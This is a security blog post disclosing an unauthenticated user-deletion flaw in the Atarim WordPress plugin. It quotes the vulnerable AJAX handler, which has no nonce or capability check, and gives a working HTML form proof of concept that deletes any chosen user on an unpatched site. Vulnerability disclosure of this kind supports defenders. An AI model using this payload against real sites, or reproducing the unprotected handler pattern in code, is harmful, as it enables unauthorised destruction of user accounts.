23 Jun 2023

Our Proactive Monitoring Caught a User Deletion Vulnerability in Atarim – Client Interface

One way we help to improve the security of WordPress plugins, not just for our customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that, we caught one of those vulnerabilities, a user deletion vulnerability in the plugin Atarim – Client Interface.

We now are also running all the code in the plugins used by our customers through that monitoring system on a weekly basis to provide additional protection for them.

The possibility of this vulnerability is also flagged by our Plugin Security Checker, so you can check plugins you use to see if they might have similar issues with that tool.

We tested and confirmed that our firewall plugin for WordPress protected against exploitation of this vulnerability, even before we discovered the vulnerability, as part of its protection against zero-day vulnerabilities.

User Deletion

In the file /inc/wpf_ajax_functions.php, the plugin makes the function avc_delete_invitations() AJAX accessible to those logged in to WordPress as well as those not logged in:

2979
2980
add_action( 'wp_ajax_avc_delete_invitations', 'avc_delete_invitations' );
add_action( 'wp_ajax_nopriv_avc_delete_invitations', 'avc_delete_invitations' );

That function will delete an arbitrary WordPress user account specified by its ID number through the POST input “id”:

2943
2944
2945
2946
2947
2948
2949
2950
2951
2952
2953
2954
2955
2956
2957
2958
2959
2960
2961
2962
2963
2964
2965
2966
2967
function avc_delete_invitations() {
    // Get user id to delete invite.
    $user_id = isset( $_POST['id'] ) ? $_POST['id'] : '';
    // Get site id
    $wpf_site_id = get_option( 'wpf_site_id' );
    // API to send user data on app side.
    $userapi = WPF_CRM_API.'wp-api/wpfuser/user';
    if ( $user_id > 0 ) {
        // USer info to delete from app DB.
        $users[] = array(
            'wpf_id'      => $user_id,
            'wpf_site_id' => $wpf_site_id
        );
        $userargs = array(
            'users'  => $users,
            'action' => 'delete'
        );
        $userarg = json_encode( $userargs );
        // Send user data.
        $response = wpf_send_remote_post( $userapi, $userarg );
        // If user data sent successfully.
        if ( isset( $response['status'] ) && ( $response['status'] == '200' || $response['status'] == '500' ) ) {
            $token = get_user_meta( $user_id, 'avc_user_token', true );
            delete_option( 'avc_guest_' . $token );
            wp_delete_user( $user_id );

JavaScript code in the file /js/wpf_common_functions.js suggest there is intended to be a nonce check in that code, which would prevent cross-site request forgery (CSRF), and also suggests that this isn’t intended to be accessible by everyone, as it suggest the intent is not to delete your own user account:

909
910
911
912
913
914
915
916
917
if ( confirm( "Are you sure you want to delete this user? Deleting them from here will remove their WordPress user and their name from all tasks and comments they created." ) ) {
	var user_id = jQuery_WPF(this).data('id');
	var $this   = jQuery_WPF(this);
	if ( user_id > 0 ) {
		jQuery_WPF.ajax({
			url: ajaxurl,
			type: 'POST',
			data: {
				action:'avc_delete_invitations',

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

After four years, the moderators have finally tacitly admitted they were behaving inappropriately and have made moves to fix the problems (though incompletely), so these full disclosures can be ended if they simply restore access to our accounts and plugins in the Plugin Directory. Hopefully that takes less than four years.

Proof of Concept

The following proof of concept causes the specified WordPress user to be deleted.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[user ID]” with the ID of the user to deleted.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=avc_delete_invitations" method="POST">
<input type="hidden" name="id" value="[user ID]" />
<input type="submit" value="Submit" />
</form>
</body>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

One thought on “Our Proactive Monitoring Caught a User Deletion Vulnerability in Atarim – Client Interface

  1. I submitted info through their website about the PoC as well as a fix which was adding a security check function that was missing from this ajax call. It looks to be fixed in their newest release.

Leave a Reply

Your email address will not be published.